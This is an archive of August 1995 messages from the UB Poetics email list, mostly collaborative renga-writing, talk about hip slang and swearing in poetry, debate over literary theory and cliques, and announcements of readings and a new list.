405. **maria damon**
Re: JG others and us
Fri 11 Aug 1995

In message <[redacted]> UB Poetics discussion group
writes:
> Hey, Maria, Right On!

>
> I mean Far Out!
>
> Yr Too Much in my book.
>
> Hell, I think I say "Solid!" from time to time.
> GB

hey george, i dig u the most. the first time i heard a guy say that, i really thought he did. i mean, i didn't know it was just an expression of hipster hyperbole. now i say it all the time, every opportunity. jorge, i dig you the most too. you too gabrielle, and of course, brian h and dodie b. and all you others out there in cyperpoetics lang-scape, i dig youse the mostest.--md

↑ Index

406. **maria damon**
Re: Renga 11
Fri 11 Aug 1995

In message <[redacted]> UB Poetics discussion group
writes:
> In the books were dreams, and
that was that.

↑ Index

407. **Rachel Loden**
poet and statesman
Fri 11 Aug 1995

Jorge,

The reference is to Senator Joe, (R-Wisconsin). We have yet to find his cache of sonnets--and what a discovery that will be--but he was symbolized, in my red-diaper babyhood, by the men in suits at the door...

Rachel

↑ Index

408. **maria damon**
Re: Padgett's definition
Fri 11 Aug 1995

---

rachel writes:
> And is it the "exoticism" of renga (the non-whiteness of them?)

> that makes them glam enough for us to fool around with, when
> for the most part, we wouldn't be caught dead in the McCarthyite
> "market strategy" of sonnet-writing (Ted Berrigan and others
> notwithstanding)?
>
> Thought I'd ask...
>
> Rachel Loden

shall i compare thee to a summer's minnesota thundershower? thought i'd ask...feel free to add on--md

↑ Index

409. **maria damon**
Re: Renga 11
Fri 11 Aug 1995

---

ryan k writes:

jerry garcia's
In your dreams
In the books were dreams, and
> >

↑ Index

410. **maria damon**
Re: Padgett's definition
Fri 11 Aug 1995

---

sondheim writes:
>...
> Although the obvious is never true
> I'd think, at least in email, imho.
> Cut the ranks of renga's weary tone,
> Our ignorance, or throw the form a bone.

what's imho?--md

↑ Index

411. **Jorge Guitart**
Re: ARRORENGA
Fri 11 Aug 1995

On Fri, 11 Aug 1995, maria damon wrote:

> In message <[redacted]> UB Poetics discussion group writes:
> > Louis Cabri wrote
> >
> > >In the books were dreams and in the dreams were books.
> > >And flew through windows, lightning green and fine morning
> > >would calmness be without the stain of possession and
> > >The book and the oboe on the grass under sun and cloud
> > >Go endlessly, an obtuse Prussian blue, it binds
> > >The caravan of windows to what they flee
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> > >Mollycoddled than aware, thin-spined and pebbling
> > >but narrow in the waist or waspish Sunday years ago
> > >Over coffee topped with whipped cream, the Times blowing
> > >& opining, heavy humid air, cumulus amusing against the
> > >bleached ribcage ripcorded into compassed wind
> > >kissing the weatherwoman between her breasts as she
> > >gives gracious problem: fanatical snacks, landscape of
> > >flicka my best friend and the storm in the glass of water's
> > >halfway pertinent incision we keep making safe for ignorance
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> > >prickling with tenors, saving arrogance for free choice, long
> > division
> > >with its equally long aftertaste, or did its overtone
> > >collapse a wild sugar ago the fleet of cabernet oblivions for
> > >outrage. Marketing posture allowed gravel a way home
> > >My dream a drink w/ Douglas Coupland. We discuss "The Code of
> > the Net"
> > >and he is transparent like Victor the Vector getting home
> > >& Hector the Protector sent back by the Queen
> > >of Wands, who willed her magic to free political sentences
> > >and wake us from such dreams. He stayed in to practice
> > >the cool float of heretocracy he'd read was poles apart from
> > pastures
> > >que j'essuie comme la loi, saisie, monstrueux
> > Mayakovky govoril o pants and the tailoring was fine
> and i saw, believe it or not, what mankind believes itself to have seen
  side by side with womankind vying for the stereoscope

↑ Index

412. **maria damon**
Re: "marketing strategies"
Fri 11 Aug 1995

rachel writes:
>
>
> It seems to me that theory, not form, is the real marketing
> strategy, in literature at least. In science a theory is
> used to test a hypothesis, but in literature theory is used,
> far too often, to carry a whole school of writers--the bad
> along with the good--into prominence. It is used as an excuse
> to stop thinking, to stop reading widely, to circle the
> wagons. It is, essentially, fear, in an intellectual form.
> Rather than testing a hypothesis, and breaking new ground,
> theory in literary hands seems to be used as an instrument of
> enforcement, prescribing the sorts of poems (or fictions or
> whatever) which are to be written.

rachel, it seems to me that anything can be used this way becuz face it, academia is not full of original, intellectually adventurous sorts, and categorization can be used as intellectual shorthand for not dealing with ideas. "theory" is, i think, just a word, when u think of, say, the differences between lacan, deleuze and stuart hall, it seems incongruous that the same word is used to either fetishize or dismiss them. but i agree that labels and categories more often stultify than enable thinking and engagement. i never read the "objectivists" before this summer, when i saw carl rakosi read at naropa and was
captivated, because i was put off by the category and terminology of "objectivist" --i thought one had to be really smart to read them, so i never did.
>
> I was fascinated when someone on this list, looking for the
> almost mythical Cap-l, land of the new formalists, said that
> what they wanted was (paraphrased) a real snail darter,
> McCarthyite, sonnet-writing list (wish I could quote exactly,
> it was beautifully expressed).

i could tell you a lot about the politics of this list, the cap-l, since many of the originating participants are in my department. mcCarthyite is not, in my view, too strong a term. i'm glad the list has been injected w/ silliman, stroffolino and other people with brains, open minds and reasonable politics, who can rise above the knee-jerk conservatism of some of these folks (many of them boycotted a recent reading by kathleen frazer because they'd heard a

rumor
that she was a "language poet.") i coujld go on and on, but the whole thing
makes me really angry and that's indecorous.
>
> More questions, asked with affection and respect...
>
yes, please, keep em coming...--md

↑ Index

413. maria damon
Re: ringing renga
Fri 11 Aug 1995

---

pangborn writes:
> maria damon writes,
> > pangborn writes:
> >> Aha: I thought Dodie might have meant that the offending post portrayed
> >> Russian
> >> caucasians like Trotsky as congenitally unable to keep from exploiting
> > needy
> >> third-world lab technicians, setting up sweatshops despite his professedly
> >> communist political stance. Thanks for setting me straight on that.
> >
> > is this anti-semitic?--md
>
> Yikes--flames smart, and smart flames smart the more smartly.
>
> But no, not anti-semitic except to those who think of semites as a race.
> They're no more so than are Mexicans--which is what I was kidding about
> before Jorge decided, in all sincerity, that he had to spell it all out.
>
> Dig: that irony gets all over everything around here. Like the dude says
> in _The Electric Kool-Aid Acid Test_, like, if you mess with it you're gonna
> get some on ya, like, like it or not, dude.
>
> --Jim

cool, bro, truce, couldn't resist, like, is "caucasian" a race? is there such a thing
as race? and yes, i did sense irony, but that sense was overborne (?) by that
other sense. peace, man--md

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414. **maria damon**
Re: your mail
Fri 11 Aug 1995

---

sheila m writes:
> >On Thu, 10 Aug 1995, Louis Cabri wrote:
> >
> >> > In the books were dreams and in the dreams were books.
> >> > And flew through windows, lightning green and fine morning
> >> > First inverted whistle of a cardinal in the poplar
> >> > The book and the oboe on the grass under sun and cloud
> >> > Go endlessly, an obtuse Prussian blue, it binds
> >> > The caravan of windows to what they flee
> >> > These lace curtains, more gauze than bondage, more
> >> > Mollycoddled than aware, thin-spined and pebbling
> >> > but narrow in the waist or waspish Sunday years ago
> >> > Over coffee topped with whipped cream, the Times blowing
> >> > & opining, heavy humid air, cumulus amusing against the
> >> > bleached ribcage ripcorded into compassed wind
> >> > kissing the weatherwoman between her breasts as she
> >> > gives gracious problem: fanatical snacks, landscape of
> >> > flicka my best friend and the storm in the glass of water's
> >> > halfway pertinent incision we keep making safe for ignorance
> >> (inspection
> >> > denied for not knowing how credenza was meant) & neo-colonizing
> >> > pockets in small furniture intended house sequentially several
> >> > mountains away but it wasn't, you know, a big tango
> >> > when the attorney general came, selah hales said, "Dias, oh,ho, kook!"
> >Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco warehouse,
> curls
> >no ideas but the woven fabric the texture so to speak was at the dry
> cleaners
> piping hot and gloved-in somewhere unsalted, perched on prescience
the chair is sad, alas, and i've lusted tootles' livers
> >

↑ Index

415. **maria damon**
Re: JG others and us
Fri 11 Aug 1995

---

steve writes:
>

> Certain phenomena, I would argue, can only be adequately described (and
> "adequately" is a judgment call on my part, of course) by the use of the
> word "groovy." So, right on, Maria, I'm with you. (In spirit only, natch.)
>
> Steve

come back, o gary sullivan!--md

↑ Index

416. **maria damon**
Re: JG others and us
Fri 11 Aug 1995

---

sondheim writes:
> There was a book about a decade ago - The 60s without Apology I think)
> (edited by Stanley Aronowitz - I forget the details) with an article on
> 60s language, its relation to the body, its body-centeredness (body-
> states, meanderings) - and how these terms have been lost as the body's
> been resutured, recuperated as Kristeva's clean and proper body (my own
> interpretation, see Powers of Horror), everything conjoined once again.
> So that JG and others can be seen in light of that, re: Blake again, the
> open body, vibes, a language breaking through language, report from the
> flesh - Alan -

a resounding right on here!

↑ Index

417. **Robert Drake**
Re: Padgett's definition
Fri 11 Aug 1995

> *From _Handbook of Poetic Forms_, edited by Ron Padgett:*
>
> *"Renga are long, image-filled poems written in alternating stanzas of three lines and two lines, usually by a group of poets who take turns. In Japan, where renga originated as a party game, poets used to make renga of 1,000 or more stanzas, although 100 stanzas was the usual length.*

&&&

> *Rachel, does Padgett say or imply then, that in a traditional renga, alternating stanzas are written by different poets, rather than alternate lines being written by different poets?*

i believe that the terms "stanzas" and "lines" (and, for
that matter, "syllable") are not _exact_ translations for

what actually happens in Japanese--some translators,
for instance, render japanese haiku as a single line...

from _From The Country of Eight Islands_, edited by Hiroaki Sato & Burton Watson:

"Toward the end of the Heian period, poets composing in the tanka form began to follow a tendency to divide the 31-syllable form and organize images into two smaller parts of 5-7-5 and 7-7 syllables. By the fourteenth centruy, such a division had made dominant the poetic form of renga, in which usually two or more poets wrote alternating 5-7-5 and 7-7 syllable parts. Although any two consecutive parts--but not mare--of a renga were to relate directly, such linking did permit the development of longer poetic structures...The amount of concentration and cooperation required for successful renga composition might be compared with the challenge of playing chamber music: in both cases, each participant must listen carefully to his companions as well as to himself in order to keep the momentum boing. The pleasure of "performing" poetry in a group, already an important element in the tanka contests of the imperial court, flowered in the cooperative esthetic of the renga."

the translations this book provide seem to render the parts (5-7-5 and 7-7 "syllable" "lines") as single english lines; most but not all of these parts are by alternating poets, but occasionally a single poet will contribute several parts in a row...

also:

"in content, there were two kinds of renga: the formal serious kind that stressed elegance in the court poetry tradition, and the light humorous kind that stressed earthiness and realism. The latter, known as haikai no renga or simply haikai, often overwhelmed the serious renga in sheer popularity...

hmmm... i wonder which of those two kinds we're most akin to here?...

and i wonder if those tanka contests were like poetry slams??

asallways
luigi

↑ Index

418. **maria damon**
Re: pardonnez-moi! enfin, c'est la brume de 'traduction'...
Fri 11 Aug 1995

---

jorge writes:
> On Thu, 10 Aug 1995, Louis Cabri wrote:
>

> > >In the books were dreams and in the dreams were books.
> > >And flew through windows, lightning green and fine morning
> > >would calmness be without the stain of possession and
> > >The book and the oboe on the grass under sun and cloud
> > >Go endlessly, an obtuse Prussian blue, it binds
> > >The caravan of windows to what they flee
> > >These lace curtains, more gauze than bondage, more
> > >Mollycoddled than aware, thin-spined and pebbling
> > >but narrow in the waist or waspish Sunday years ago
> > >Over coffee topped with whipped cream, the Times blowing
> > >& opining, heavy humid air, cumulus amusing against the
> > >bleached ribcage ripcorded into compassed wind
> > >kissing the weatherwoman between her breasts as she
> > >gives gracious problem: fanatical snacks, landscape of
> > >flicka my best friend and the storm in the glass of water's
> > >halfway pertinent incision we keep making safe for ignorance
> > > (inspection
> > >prickling with tenors, saving arrogance for free choice, long
> > division
> > >with its equally long aftertaste, or did its overtone
> > >collapse a wild sugar ago the fleet of cabernet oblivions for
> > >outrage. Marketing posture allowed gravel a way home
> > >My dream a drink w/ Douglas Coupland. We discuss "The Code of
> > the Net"
> > >and he is transparent like Victor the Vector getting home
> > >& Hector the Protector sent back by the Queen
> > >of Wands, who willed her magic to free political sentences
> > >and wake us from such dreams. He stayed in to practice
> > the cool float of heretocracy he'd read was poles apart from
> > pastures
> > que j'essuie comme la loi, saisie, monstrueuse
> chartreuse et delicieuse but let's get to business and see what'
s in that rare air-guitar garage, maybe a tarte du jour or

↑ Index

419. Jorge Guitart
Re: ringing renga
Fri 11 Aug 1995

On Fri, 11 Aug 1995, maria damon wrote:

> *pangborn writes:*
> *maria damon writes,*

> *pangborn writes:*
> *Aha: I thought Dodie might have meant that the offending post portrayed Russian*
> *caucasians like Trotsky as congenitally unable to keep from exploiting needy*
> *third-world lab technicians, setting up sweatshops despite his professedly*
> *communist political stance. Thanks for setting me straight on that.*
>
> *is this anti-semitic?--md*
>
> *Yikes--flames smart, and smart flames smart the more smartly.*
>
> *But no, not anti-semitic except to those who think of semites as a race.*
> *They're no more so than are Mexicans--which is what I was kidding about*
> *before Jorge decided, in all sincerity, that he had to spell it all out.*
>
> *Dig: that irony gets all over everything around here. Like the dude says*
> *in _The Electric Kool-Aid Acid Test_, like, if you mess with it you're gonna*
> *get some on ya, like, like it or not, dude.*
>
> *--Jim*
>
> *cool, bro, truce, couldn't resist, like, is "caucasian" a race? is there such a*
> *thing as race? and yes, i did sense irony, but that sense was overborne (?) by*
> *that other sense. peace, man--md*

on race dig The History and
Geography of Human Genes by Luca Cavalli-Sforza, Paolo Menozzi and
Alberto Piazza, Princeton UniversityPress 1994.

↑ Index

420. Jorge Guitart
Re: your mail
Fri 11 Aug 1995

On Fri, 11 Aug 1995, maria damon wrote:

> sheila m writes:
> > >On Thu, 10 Aug 1995, Louis Cabri wrote:
> > >
> > >> > In the books were dreams and in the dreams were books.
> > >> > And flew through windows, lightning green and fine morning
> > >> > First inverted whistle of a cardinal in the poplar
> > >> > The book and the oboe on the grass under sun and cloud
> > >> > Go endlessly, an obtuse Prussian blue, it binds
> > >> > The caravan of windows to what they flee
> > >> > These lace curtains, more gauze than bondage, more

> > >> > Mollycoddled than aware, thin-spined and pebbling
> > >> > but narrow in the waist or waspish Sunday years ago
> > >> > Over coffee topped with whipped cream, the Times blowing
> > >> > & opining, heavy humid air, cumulus amusing against the
> > >> > bleached ribcage ripcorded into compassed wind
> > >> > kissing the weatherwoman between her breasts as she
> > >> > gives gracious problem: fanatical snacks, landscape of
> > >> > flicka my best friend and the storm in the glass of water's
> > >> > halfway pertinent incision we keep making safe for ignorance
> > >> (inspection
> > >> > denied for not knowing how credenza was meant) & neo-colonizing
> > >> > pockets in small furniture intended house sequentially several
> > >> > mountains away but it wasn't, you know, a big tango
> > >> > when the attorney general came, selah hales said, "Dias, oh,ho, kook!"
> > >Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco warehouse,
> > curls
> > >no ideas but the woven fabric the texture so to speak was at the dry
> > cleaners
> > piping hot and gloved-in somewhere unsalted, perched on prescience
> the chair is sad, alas, and i've lusted tootles' livers
 the odor day toy a cello day dis chevys a bo coo daughter chose encore

↑ Index

421. Fred E. Maus

New list

Fri 11 Aug 1995

I am starting a new mailing list, collab-mus, for discussion of collaborative music-making that involves improvisation. My own interest centers on relatively recent real-time interactive composition related to post-war avant garde traditions (for instance, Stockhausen's Aus den Seiben Tagen, Oliveros's Sonic Meditations, the Inter/Play sessions of Boretz, Randall, and others), but discussions of interactive improvisation in any kind of music will be appropriate.

Contributions to the list could include scores for
interactions; reports of experiences as performer or listener;
discussions of aesthetic, ethical, and political issues;
reports and discussions on analogous collaborative enterprises
in media other than sound (for instance, collaborative poetry-
writing; MOOing). In keeping with the topic, the list is

unmoderated and will take whatever direction its contributors
give it.

command "subscribe collab-mus" followed by your email address. (If you give no address, the return address of the message will be subscribed.)

--
Fred Everett Maus Dept phone [redacted]
Department of Music Home phone [redacted]
University of Virginia Fax to dept [redacted]
Charlottesville VA 22903 e-mail [redacted]

↑ Index

422. Jorge Guitart
Re: pardonnez-moi! enfin, c'est la brume de 'traduction'...
Fri 11 Aug 1995

On Fri, 11 Aug 1995, maria damon wrote:

> jorge writes:
> > On Thu, 10 Aug 1995, Louis Cabri wrote:
> >
> > > >In the books were dreams and in the dreams were books.
> > > >And flew through windows, lightning green and fine morning
> > > >would calmness be without the stain of possession and
> > > >The book and the oboe on the grass under sun and cloud
> > > >Go endlessly, an obtuse Prussian blue, it binds
> > > >The caravan of windows to what they flee
> > > >These lace curtains, more gauze than bondage, more
> > > >Mollycoddled than aware, thin-spined and pebbling
> > > >but narrow in the waist or waspish Sunday years ago
> > > >Over coffee topped with whipped cream, the Times blowing
> > > >& opining, heavy humid air, cumulus amusing against the
> > > >bleached ribcage ripcorded into compassed wind
> > > >kissing the weatherwoman between her breasts as she
> > > >gives gracious problem: fanatical snacks, landscape of
> > > >flicka my best friend and the storm in the glass of water's
> > > >halfway pertinent incision we keep making safe for ignorance
> > > > (inspection
> > > >prickling with tenors, saving arrogance for free choice, long
> > > division
> > > >with its equally long aftertaste, or did its overtone
> > > >collapse a wild sugar ago the fleet of cabernet oblivions for
> > > >outrage. Marketing posture allowed gravel a way home

> > > >My dream a drink w/ Douglas Coupland. We discuss "The Code of
> > > the Net"
> > > >and he is transparent like Victor the Vector getting home
> > > >& Hector the Protector sent back by the Queen
> > > >of Wands, who willed her magic to free political sentences
> > > >and wake us from such dreams. He stayed in to practice
> > > the cool float of heretocracy he'd read was poles apart from
> > > pastures
> > > que j'essuie comme la loi, saisie, monstrueuse
> > chartreuse et delicieuse but let's get to business and see what'
> s in that rare air-guitar garage, maybe a tarte du jour or
a genessee quah genessee cum but je dig tu diges, nous digons!

↑ Index

423. Willa Jarnagin
Favorite swears and Seventies-Speak
Fri 11 Aug 1995

On Thu, 10 Aug 1995, Ryan Knighton wrote:

> *Gee, I suppose swell is too square, eh? I dunno, I'm a seventies child polluted by eighties lingo. Choice language, for bitchin folk. What about nifty? Or is that fifties, daddyo?*

I'm a seventies kid too and find myself using cool, awesome, excellent, and have recently picked up chill, take a pill, well-fuck-me-Jesus (oh, I think I made that one up), fuckwad, fuckhead... and meanwhile constantly weeding my "likes". And remember wicked? Wicked excellent. Also I've taken to refering to myself in my less noble moments as a hosebeast. I suppose Wayne and Garth have influenced my language more than Bernadette Mayer even.

That's kind of, like, depressing.

Anybody have favorite swears? Preferably offensive to somebody's religion, race, creed, ethnicity, veteran status, disability, gender, or sexual orientation -- just not mine.

;)

(Hey, we should invent "smiley" swears.) Figure this one out: ****

And now, for serious discussion: what do people think of swears in poetry? Speaking of Bernadette Mayer--I think she uses them beautifully.

Wicked Willa the Hosebeast

↑ Index

424. **Herb Levy**
Re: Renga 11: Invasion from Mars
Fri 11 Aug 1995

---

maria damon writes:

> *ryan k writes:*
> *jerry garcia's*
> *In your dreams*
> *In the books were dreams, and*

the child woke up & the renga was over.

Herb Levy
[redacted]

↑ Index

425. **Herb Levy**
Re: Padgett's definition
Fri 11 Aug 1995

> *rachel writes:*
> *And is it the "exoticism" of renga (the non-whiteness of them?)*
> *that makes them glam enough for us to fool around with, when*
> *for the most part, we wouldn't be caught dead in the McCarthyite*
> *"market strategy" of sonnet-writing (Ted Berrigan and others*
> *notwithstanding)?*
>
> *Thought I'd ask...*
>
> *Rachel Loden*
>
> *shall i compare thee to a summer's minnesota thundershower?*
> *thought i'd ask...feel free to add on--md*

That's a haiku, not the first line of a sonnet.

Herb Levy
[redacted]

↑ Index

426. **Jordan Davis.**
Exquisite Renga
Fri 11 Aug 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
would calmness be without the stain of possession and

The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
The caravan of windows to what they flee
These lace curtains, more gauze than bondage, more
Mollycoddled than aware, thin-spined and pebbling
but narrow in the waist or waspish Sunday years ago
Over coffee topped with whipped cream, the Times blowing
& opining, heavy humid air, cumulus amusing against the
bleached ribcage ripcorded into compassed wind
kissing the weatherwoman between her breasts as she
gives gracious problem: fanatical snacks, landscape of
flicka my best friend and the storm in the glass of water's
halfway pertinent incision we keep making safe for ignorance
(inspection
prickling with tenors, saving arrogance for free choice, long division
with its equally long aftertaste, or did its overtone
collapse a wild sugar ago the fleet of cabernet oblivions for
outrage. Marketing posture allowed gravel a way home
My dream a drink w/ Douglas Coupland. We discuss "The Code of the Net"
and he is transparent like Victor the Vector getting home
& Hector the Protector sent back by the Queen
of Wands, who willed her magic to free political sentences
and wake us from such dreams. He stayed in to practice
the cool float of heretocracy he'd read was poles apart from pastures
que j'essuie comme la loi, saisie, monstrueuse
chartreuse et delicieuse but let's get to business and see what's in that
rare air-guitar garage, maybe a tarte du jour or
a genessee quah genessee cum but je dig tu diges, nous digons!
Qui pleure la, sinon le vent simple, a cette heure

↑ Index

427. Jordan Davis.

jive supplant

Fri 11 Aug 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
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flicka my best friend and the storm in the glass of water's
halfway pertinent incision we keep making safe for ignorance (inspection
denied for not knowing how credenza was meant) & neo-colonizing
pockets in small furniture intended house sequentially several
mountains away but it wasn't, you know, a big tango
when the attorney general came, selah hales said, "Dias, oh,ho, kook!"
Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco warehouse, curls
no ideas but the woven fabric the texture so to speak was at the dry cleaners
piping hot and gloved-in somewhere unsalted, perched on prescience
the chair is sad, alas, and i've lusted tootles' livers
the odor day toy a cello day dis chevys a bo coo daughter chose encore
Jive shiva a serpent quiver neigh-dom a mortar

↑ Index

428. Jordan Davis.

among the spoilsports

Fri 11 Aug 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
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denied for not knowing how credenza was meant) & neo-colonizing
pockets in small furniture intended house sequentially several
mountains away but it wasn't, you know, a big tango
when the attorney general came, selah hales said, "Dias, oh,ho, kook!"
Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco warehouse, curls
no ideas but the woven fabric the texture so to speak was at the dry cleaners
having recovered from the chemicals of deadlines drop stitched into
the ball Kevin Mitchell bare
handed. Baseball sold
out. cash stricken striked.
Would that as a poet I had
the chance to do something like

grace the outfield, hands bare
from ringing, washing scales
of passion's conformity never
minding a green surface, far
cry from eternity, kitchen table

bleached down, a firecracker
cold as the buckles on my sandals
as the wesleyans come in the room
and hang up their robes and go
down to the fellowship hall

↑ Index

429. Jordan Davis.
Padgett's Handbook
Fri 11 Aug 1995

A note from the publisher:

The definition of the renga is from _The Teachers & Writers Handbook of Poetic Forms_, edited by Ron Padgett, $13.95 paper, $22.95 cloth, 230 pp. (+ $3.50 s/h). You can order it from me at Teachers & Writers Collaborative, 5 Union Square West, NY NY 10003. Or you can call [redacted].

Thanks,
Jordan

↑ Index

430. Jordan Davis.
reading at Biblio's
Fri 11 Aug 1995

If it's not too e-gauche to post two advertisements the same day, I'd like to invite list-readers in the NY area to a reading on Sunday August 20th at 5 pm, at the Biblios Cafe. Biblios is located on Church Street between Lispenard and Walker (meaning it's around the corner from the Pearl Paint on Canal Street). I'll be reading with my friend Tim Griffin, who writes for the Print Collector's Newsletter and whose play, "Fingerprints", will be staged this fall.

Jordan Davis

↑ Index

431. Ryan Knighton
Re: Renga 11: Invasion from Mars
Fri 11 Aug 1995

I've never seen a renga quite lik ethis. Every line is competing to be the last. It's the Blob and we're in trouble.

↑ Index

432. Pierre Joris
Query
Fri 11 Aug 1995

Would anybody know how I can get in touch with Forrest gander (phone; address; e-mail)? You can backchannel to me -- I'd hate to innerupt da renga...

pierre

==========
==========
Pierre Joris | "Poems are sketches for existence."
Dept. of English | --Paul Celan
SUNY Albany |
Albany NY 12222 | "Revisionist plots
tel&fax:[redacted] | are everywhere and our pronouns haven't yet
email: | drawn up plans for the first coup."
[redacted]| --J.H. Prynne
==========
==========

↑ Index

433. Gwyn McVay
Re: Favorite swears and Seventies-Speak
Fri 11 Aug 1995

My father picked up my mother's family's Polish pieties and used them as swears: "Matka boskiej Czestochowa!" He also coined my all-time favorite swear: "Jesus H. Christ on a fucking life raft!"

The all-time great swear in poetry has to be Larkin's "They fuck you up, your mum and dad."

Gwyn McVay
[redacted]

↑ Index

434. Ryan Knighton
Re: Favorite swears and Seventies-Speak
Fri 11 Aug 1995

Interesting, since I just said to GB that nobody can swear or say CRAP quite like Sharon Thesen (thinking of her poem to Brian Fawcett: oooh, nasty nasty; love that stuff) There's fine use of bad language in poetry. I mean, I didn't know whang had an h in it. Learn somethin everyday.

↑ Index

435. Pierre Joris
Re: Query
Fri 11 Aug 1995

Thanks to everyone for quickly getting back with Gander's address -- at times the net works better than dialing 5551212

```
=================================================
========================
Pierre Joris            | "Poems are sketches for existence."
Dept. of English        |   --Paul Celan
SUNY Albany             |
Albany NY 12222         | "Revisionist plots
tel&fax:[redacted]  |  are everywhere and our pronouns haven't yet
      email:            |  drawn up plans for the first coup."
[redacted]|    --J.H. Prynne
=================================================
========================
```

↑ Index

436. Chris Stroffolino

Re: "marketing strategies"

Fri 11 Aug 1995

dear rachel loden--thanks for your thoughtful response to herb levy about the cliquishness---whether or not the CAp-L people are McCarthyites I think must be an oversimplification--I catch myself speaking of "formally conservative poets" as conservatives, and am glad I have a couple of AWP-type friends. Of course, the "left",("this list we're on", whatever....) does tend to elide the difference between the more working class Levine types and the more James Merrill types --and I think there should be more dialogue between "various factions" rather than the balkanized inbreeding of any clique--and though i myself have not written "sonnets" since I tried some puerile ones long ago--I am definitely open to discussion of them--There does seem to be an abiding distate of anything that seems "conservative." I mean, even Phillip Larkin (WHO HATED JAZZ and was politically conservative) in his poems at times seems to speak from a leftist perspective--or could be read as such---furthermore, there is something VERY GENERATIVE in his work that it seems ridiculous for someone to deny on ostensibly "political" grounds--It seems many readers are so queasy about "the great tradition" as if the mere act of reading a fascist (oh, an dissertations on Yeats "fascist metrics" abound) WILL MAKE YOU (i mean ONE) a fascist.... And maybe Rachel (though your question was probably rhetorical) the reason you learned something from the Corn-Silliman debate was because it was NOT as claustrophobic as the little "divided left" debates that occur here (the L poets vs. the M--remember that one!)--I hope for more of such--so thank you, Chris Stroffolino

↑ Index

437. Burt Kimmelman

vacation

Fri 11 Aug 1995

Fellow Interscriptors:

I am going on vacation and am signing off the list for a while; i can be reached backchannel (replies may be tardy).

Burt Kimmelman

[redacted]

↑ Index

438. **maria damon**
Re: Padgett's definition
Fri 11 Aug 1995

---

herb writes:
> > rachel writes:
> >> And is it the "exoticism" of renga (the non-whiteness of them?)
> >> that makes them glam enough for us to fool around with, when
> >> for the most part, we wouldn't be caught dead in the McCarthyite
> >> "market strategy" of sonnet-writing (Ted Berrigan and others
> >> notwithstanding)?
> >>
> >> Thought I'd ask...
> >>
> >> Rachel Loden
> >
> >shall i compare thee to a summer's minnesota thundershower?
> >thought i'd ask...feel free to add on--md
>
> That's a haiku, not the first line of a sonnet.
>
>
>
> Herb Levy
> [redacted]

so sue me. i lie corrected.--md

↑ Index

439. **maria damon**
Re: Favorite swears and Seventies-Speak
Fri 11 Aug 1995

---

willa the j writes:
> On Thu, 10 Aug 1995, Ryan Knighton wrote:
>
> > Gee, I suppose swell is too square, eh? I dunno, I'm a seventies child
> > polluted by eighties lingo. Choice language, for bitchin folk. What
> > about nifty? Or is that fifties, daddyo?
>
> I'm a seventies kid too and find myself using cool, awesome, excellent,
> and have recently picked up chill, take a pill, well-fuck-me-Jesus (oh, I
> think I made that one up), fuckwad, fuckhead... and meanwhile constantly

> weeding my "likes". And remember wicked? Wicked excellent. Also I've
> taken to refering to myself in my less noble moments as a hosebeast. I
> suppose Wayne and Garth have influenced my language more than
Bernadette
> Mayer even.
>
> That's kind of, like, depressing.
>
> Anybody have favorite swears? Preferably offensive to somebody's
> religion, race, creed, ethnicity, veteran status, disability, gender, or
> sexual orientation -- just not mine.
>
> ;)
>
> (Hey, we should invent "smiley" swears.) Figure this one out: ****
>
> And now, for serious discussion: what do people think of swears in poetry?
> Speaking of Bernadette Mayer--I think she uses them beautifully.
>
>
> Wicked Willa the Hosebeast

does anyone else from boston remember the laudatory adjective "pissa"? as in, that's a wicked pissa shirt, man. when i taught at the full circle high school i overheard a writing teacher trying to get this one kid to use adjectives other than "good" to describe the way a band played. the kid wrote, saying it aloud as he did in that questioning voice people use when trying to supply synonyms, "they played wicked pissa."

↑ Index

440. **maria damon**

Re: Favorite swears and Seventies-Speak

Fri 11 Aug 1995

---

my favorite expressions actually pertain to mental illness, such as, the lights are on but nobody's home; she's a few fries short of a happy meal, so and so's round the bend, lost her marbles, off to the funny farm hurry let's go, friggin' in the riggin', a total fruitcake/nutcase, etc. i know there're other favorites i'm forgetting right now. i'd love to expand my repertoire. i dont know why i find them so amusing. maybe cuz it's a "heavy subject." also for death: so and so cashed in his chips, bit the dust, kicked, etc. One of the expressions that my father used for food --"shit on a shingle" --meaning, i think, corned beef hash on toast, has been adopted by me as a "swear." what is a swear, anyway?

obscenity? language defaming religious figures or beliefs? both? in the 70s when we didn't like something, we'd say it "sucks moose."

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441. **maria damon**
Re: Favorite swears and Seventies-Speak
Fri 11 Aug 1995

> *The all-time great swear in poetry has to be Larkin's "They fuck you up, your mum and dad."*
>
> *Gwyn McVay*
> [redacted]

or john lennon, "they're still fuckin' peasants as far as I can see."

↑ Index

442. **Sheila E. Murphy**
Re: your mail
Fri 11 Aug 1995

>On Fri, 11 Aug 1995, maria damon wrote:
>
>> sheila m writes:
>> > >On Thu, 10 Aug 1995, Louis Cabri wrote:
>> > >
>> > >> > In the books were dreams and in the dreams were books.
>> > >> > And flew through windows, lightning green and fine morning
>> > >> > First inverted whistle of a cardinal in the poplar
>> > >> > The book and the oboe on the grass under sun and cloud
>> > >> > Go endlessly, an obtuse Prussian blue, it binds
>> > >> > The caravan of windows to what they flee
>> > >> > These lace curtains, more gauze than bondage, more
>> > >> > Mollycoddled than aware, thin-spined and pebbling
>> > >> > but narrow in the waist or waspish Sunday years ago
>> > >> > Over coffee topped with whipped cream, the Times blowing
>> > >> > & opining, heavy humid air, cumulus amusing against the
>> > >> > bleached ribcage ripcorded into compassed wind
>> > >> > kissing the weatherwoman between her breasts as she
>> > >> > gives gracious problem: fanatical snacks, landscape of
>> > >> > flicka my best friend and the storm in the glass of water's
>> > >> > halfway pertinent incision we keep making safe for ignorance
>> > >>   (inspection

>> > >> > denied for not knowing how credenza was meant) & neo-colonizing
>> > >> > pockets in small furniture intended house sequentially several
>> > >> > mountains away but it wasn't, you know, a big tango
>> > >> > when the attorney general came, selah hales said, "Dias, oh,ho, kook!"
